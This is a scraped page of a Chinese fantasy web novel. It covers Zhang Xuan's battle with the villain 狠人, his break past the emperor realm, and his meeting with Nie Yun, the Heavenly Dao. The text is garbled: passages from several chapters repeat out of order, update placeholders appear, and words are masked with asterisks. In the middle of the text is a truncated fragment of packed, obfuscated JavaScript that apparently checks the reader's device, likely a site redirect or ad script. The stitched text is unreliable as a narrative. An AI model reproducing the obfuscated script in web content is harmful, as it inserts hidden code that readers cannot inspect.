“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第372章 就是要看他痛苦 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第373章 人不见了 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 